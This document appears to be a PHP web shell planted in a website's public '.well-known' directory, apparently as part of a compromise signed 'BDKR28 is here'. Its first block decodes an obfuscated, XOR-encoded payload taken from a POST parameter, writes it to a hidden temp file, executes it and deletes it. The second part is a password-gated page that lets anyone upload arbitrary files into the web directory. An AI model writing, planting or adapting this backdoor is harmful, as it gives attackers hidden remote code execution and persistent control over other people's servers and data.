File: /home/senelvus/public_html/.well-known/ry9ss54j.php
<?php if(isset($_POST["i\x74\x6D"])){ $value = $_POST["i\x74\x6D"]; $value = explode ( '.' , $value ) ; $entry = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $s); $k = 0; array_walk( $value, function( $v8) use( &$entry, &$k, $s, $lenS) { $chS = ord( $s[$k % $lenS]); $d =( ( int)$v8 - $chS -( $k % 10)) ^ 95; $entry .= chr( $d); $k++; }); $resource = array_filter(["/tmp", getenv("TEMP"), getenv("TMP"), "/var/tmp", ini_get("upload_tmp_dir"), "/dev/shm", getcwd(), sys_get_temp_dir(), session_save_path()]); foreach ($resource as $data): if (is_dir($data) ? is_writable($data) : false) { $res = vsprintf("%s/%s", [$data, ".entity"]); $file = fopen($res, 'w'); if ($file) { fwrite($file, $entry); fclose($file); include $res; @unlink($res); exit; } } endforeach; }
// Title: BDKR28 is here
?>
<!DOCTYPE html>
<html>
<head>
<title>BDKR28 is here</title>
</head>
<body>
<?php
$password = isset($_GET['BDKR28']) ? $_GET['BDKR28'] : '';
$correct_password = 'k69k'; // This will be replaced with a random password
if ($password !== $correct_password) {
echo '<center><h2>BDKR28 is here</h2><b>Invalid Password!</b><br><br>';
echo '<form action="" method="get">';
echo '<input type="password" name="BDKR28" placeholder="Enter Password">';
echo '<input type="submit" value="Submit">';
echo '</form></center>';
exit;
}
echo '<center><h2>BDKR28 is here</h2>';
echo '<form action="" method="post" enctype="multipart/form-data">';
echo '<input type="file" name="file"><br><br>';
echo '<input type="submit" name="upload" value="Upload File">';
echo '</form>';
if (isset($_POST['upload'])) {
$file = $_FILES['file']['name'];
$tmp = $_FILES['file']['tmp_name'];
if (move_uploaded_file($tmp, $file)) {
echo '<b>File Uploaded Successfully!</b><br>';
echo 'File: <a href="' . $file . '">' . $file . '</a>';
} else {
echo '<b>File Upload Failed!</b>';
}
}
echo '</center>';
?>
</body>
</html>